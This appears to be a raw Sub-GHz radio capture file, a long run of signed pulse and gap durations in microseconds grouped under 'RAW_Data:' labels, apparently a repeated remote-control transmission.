1793 -2990 1801 -1400 1801 -1402 1799 -1402 1799 -1398 3397 -3002 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 3401 -1400 1801 -3002 3393 -3002 3403 -1396 1793 -2998 3401 -8350 1743 -2940 3389 -3000 3397 -2994 3393 -3004 3401 -2994 3401 -2994 3403 -3002 3401 -2994 3401 -2996 3401 -2994 3401 -3002 3407 -2998 3393 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -2990 1801 -1402 1799 -1402 1799 -1402 3401 -2998 3407 -1396 1791 -2992 3401 -1402 1801 -3002 1799 -1398 1797 -1400 1801 -1400 1795 -1396 3397 -1400 1801 -3002 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 3393 -1402 1799 -3002 3395 -3002 3407 -1400 1789 -1392 1797 -3006 3605 -4930 1985 -2864 3367 -2982 3185 -3192 3393 -2994 3393 -3002 3403 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -2998 3207 -3194 3393 -3002 3403 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -2992 1801 -1400 1801 -1400 1801 -1400 3407 -2998 3393 -1398 1791 -3000 3401 -1400 1801 -3002 1795 -1398 1801 -1402 1799 -1398 3389 -3002 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 -RAW_Data: 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 3403 -1400 1801 -3002 3393 -3002 3407 -1400 1789 -1392 1797 -1402 1799 -8070 9613 -1418 3825 -2614 3609 -3002 3401 -3004 3401 -3002 3401 -3002 3403 -2994 3393 -3002 3401 -2996 3401 -3002 3401 -2994 3403 -1396 1797 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -3002 1799 -1402 1795 -1398 1801 -1400 3403 -2994 3401 -1398 1791 -2998 3403 -1400 1801 -3002 1801 -1400 1795 -1398 1801 -1402 3401 -2994 3401 -2996 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 3403 -1400 1801 -3002 3393 -1402 1795 -3000 1799 -1402 1799 -1398 1791 -1398 3603 -4754 8207 -2562 3569 -2984 3389 -2996 3401 -2994 3401 -2994 3403 -3002 3401 -2994 3401 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -2990 1801 -1402 1799 -1402 1799 -1402 3401 -3002 3395 -1400 1795 -2992 3401 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 3403 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 3401 -1402 1799 -3002 3395 -1400 1801 -2994 1801 -1400 1801 -1398 3389 -7746 8811 -2430 3817 -2810 3411 -3002 3401 -3002 3401 -3002 3395 -3002 3401 -2994 3403 -2994 3401 -3006 3397 -2996 3393 -3002 3401 -1402 1795 -1394 1797 -1400 1801 -1400 -RAW_Data: 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1799 -1402 3401 -2994 3403 -1400 1801 -3002 3401 -1398 1791 -3000 1799 -1402 1801 -1396 1797 -1400 3403 -1396 1791 -1398 1801 -3002 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 3393 -1402 1799 -3004 3393 -1400 1797 -2998 1801 -1400 3403 -3002 3993 -3076 14679 -2816 3619 -2804 3401 -3002 3403 -3002 3393 -3002 3401 -3004 3393 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3393 -1402 1799 -2994 3403 -1396 1797 -3002 1801 -1400 1801 -1396 3391 -3002 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 3395 -1400 1801 -3002 3393 -1402 1799 -3002 1801 -1398 3389 -1400 1801 -6990 1657 -3042 3285 -3122 3305 -3118 3323 -3152 3167 -3174 3187 -3190 3389 -2996 3401 -2994 3401 -3002 3395 -3002 3401 -2994 3393 -3004 3401 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -2994 1801 -1400 1801 -1400 1801 -1398 3389 -3006 3405 -1398 1791 -3000 3401 -1402 1795 -2990 1801 -1402 1799 -1402 3401 -3002 1795 -1394 3399 -3002 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 -RAW_Data: 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1396 1791 -1398 1801 -1402 3401 -1400 1801 -3006 3399 -1396 1797 -3002 3393 -3002 1797 -1394 3597 -4444 1939 -2940 3439 -3026 3413 -3006 3407 -3002 3397 -3006 3393 -2996 3393 -3002 3393 -3006 3207 -3194 3393 -2994 3403 -3002 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3401 -2996 3401 -1400 1801 -3002 3393 -1398 1791 -3004 1803 -1402 1795 -1398 3403 -3002 3401 -2998 1799 -1394 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 3393 -1402 1801 -3002 3393 -1402 1799 -3002 3399 -3006 3393 -7892 1731 -2682 3593 -2994 3403 -3002 3393 -3002 3393 -3004 3401 -2994 3401 -3002 3403 -2994 3393 -3002 3399 -3006 3393 -2994 3401 -3006 3399 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3006 3397 -1402 1795 -2992 3401 -1402 1799 -3002 1795 -1400 1799 -1402 3401 -2994 3401 -1402 1795 -2992 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1400 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 3401 -1400 1797 -2994 3407 -1400 1795 -3000 3401 -1402 1795 -2992 3601 -4720 1955 -2804 3439 -3022 3413 -3002 3401 -3002 3403 -3002 3401 -2994 3403 -3002 3393 -3002 3393 -3002 3403 -2994 3401 -3002 3395 -3002 3393 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -1402 1799 -3002 1801 -1402 1795 -1394 3397 -1402 -RAW_Data: 1799 -3002 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 3401 -1400 1801 -2994 3403 -1400 1801 -2998 3411 -1400 1789 -1392 1797 -7942 14895 -2618 3611 -2810 3401 -3002 3401 -3002 3403 -3002 3393 -3002 3401 -2996 3401 -3002 3393 -2998 3407 -2994 3393 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3403 -1400 1795 -2992 3401 -1402 1799 -3008 1599 -1594 1795 -1402 3401 -1402 1795 -2992 3401 -3002 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 3401 -1402 1799 -2994 3403 -1400 1795 -1398 1801 -3002 1795 -1400 1799 -1402 3801 -1294 1075 -840 2397 -2992 3435 -3022 3249 -3164 3313 -2942 3519 -3068 3247 -3026 3413 -3010 3401 -3002 3403 -3002 3393 -3002 3403 -3002 3393 -3002 3393 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -3004 1799 -1398 1791 -1398 1801 -1400 3401 -3004 3401 -1396 1793 -2998 3403 -1400 1801 -3002 1795 -1394 1797 -1400 3403 -1400 1801 -1400 1795 -3000 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 -RAW_Data: 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 3401 -1402 1801 -2994 3401 -1402 1795 -1398 1799 -3004 1795 -1394 3397 -7240 3691 -1402 3855 -2834 3419 -3018 3413 -3002 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -3002 3393 -3002 3395 -3002 3407 -2996 3399 -1404 1597 -1590 1791 -1398 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3401 -1402 1795 -2992 3401 -1400 1801 -3002 1801 -1396 1793 -1398 3405 -1404 1797 -1394 1795 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 3403 -1396 1797 -3002 3401 -1402 1795 -1394 1797 -3002 3407 -3004 3595 -4610 1539 -3058 3381 -2988 3193 -3194 3393 -2996 3401 -3002 3393 -3002 3403 -2994 3407 -3004 3395 -2994 3393 -3002 3401 -2996 3401 -2994 3401 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -3002 1801 -1402 1799 -1402 1795 -1398 3401 -3002 3403 -1396 1791 -3000 3401 -1402 1801 -2994 1799 -1402 3401 -3002 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 3401 -1402 1799 -3004 3401 -1396 1793 -1398 1799 -3002 3403 -1400 1801 -6986 367 -734 1837 -2952 3531 -2896 3279 -3050 3435 -3018 3401 -3002 3401 -3008 3405 -2998 3205 -3198 3399 -2994 3401 -2998 3399 -2994 3393 -3002 3401 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3393 -1400 1801 -3002 3395 -1400 1801 -3002 1795 -1394 3397 -3004 1799 -1402 1799 -1398 3395 -3004 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 -RAW_Data: 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 3399 -1400 1801 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1400 3793 -4322 1655 -3012 3323 -3148 3167 -3186 3189 -3192 3389 -2994 3401 -2996 3401 -3002 3393 -3002 3403 -2994 3401 -2998 3407 -2994 3401 -2994 3393 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -3004 1795 -1398 1799 -1402 1801 -1396 3397 -3004 3401 -1396 1793 -2998 3403 -1400 1801 -3002 1795 -1394 3397 -3002 1801 -1402 3401 -2994 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 3401 -1402 1801 -2994 3401 -1398 1795 -1402 1799 -1402 1801 -2994 3401 -3594 835 -1436 377 -1140 1711 -3242 3159 -3176 3181 -3190 3193 -3200 3201 -3202 3197 -3196 3393 -2994 3407 -2996 3395 -2994 3401 -3002 3403 -2994 3401 -2994 3407 -1404 1597 -1592 1791 -1398 1801 -1402 1799 -1402 1795 -3000 1799 -1402 1801 -1400 1801 -1396 3391 -3002 3401 -1396 1797 -3002 3403 -1400 1801 -2994 1801 -1400 3401 -3002 1797 -1394 3397 -1402 1799 -3002 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 -RAW_Data: 1801 -1402 1799 -1402 1799 -1398 1791 -1398 3401 -1402 1801 -3006 3397 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -3006 3799 -1526 441 -1060 2475 -2980 3315 -2928 3499 -3076 3249 -3030 3417 -3014 3411 -3006 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -3000 3209 -3202 3197 -1596 1787 -1392 1797 -1400 1801 -1402 1799 -1402 1799 -2996 1799 -1402 1801 -1400 1801 -1396 3399 -3002 3401 -1396 1793 -2998 3403 -1396 1797 -3002 1801 -1400 3401 -3002 3395 -2994 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 3401 -1402 1801 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -7480 27707 -2512 3729 -2756 3573 -2984 3385 -2994 3399 -2990 3393 -3006 3205 -3192 3393 -3002 3393 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -3002 1799 -1402 1801 -1396 1791 -1398 3403 -3002 3401 -1400 1797 -2998 3403 -1400 1795 -2992 1801 -1400 3401 -3008 3205 -3194 3393 -3002 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 3403 -1400 1801 -1400 1795 -3000 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 3803 -4446 1433 -3026 3349 -3164 3173 -3188 3189 -3198 3197 -3194 3395 -3002 3393 -3002 3403 -2994 3401 -2994 3401 -3004 3401 -2998 3397 -2994 3403 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 3401 -2994 3401 -1402 1799 -3004 3393 -1400 1797 -2990 1801 -1400 3403 -3002 3401 -1398 1791 -2998 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 -RAW_Data: 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 1801 -1400 3393 -7770 21481 -2430 3819 -2810 3401 -3002 3401 -3002 3403 -3002 3401 -3002 3393 -3002 3407 -2998 3393 -3002 3395 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -3000 1801 -1400 1801 -1396 1791 -1400 3401 -3002 3401 -1402 1799 -3002 3395 -1400 1801 -2994 1801 -1400 3395 -3002 3401 -1402 1795 -1394 1795 -3004 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 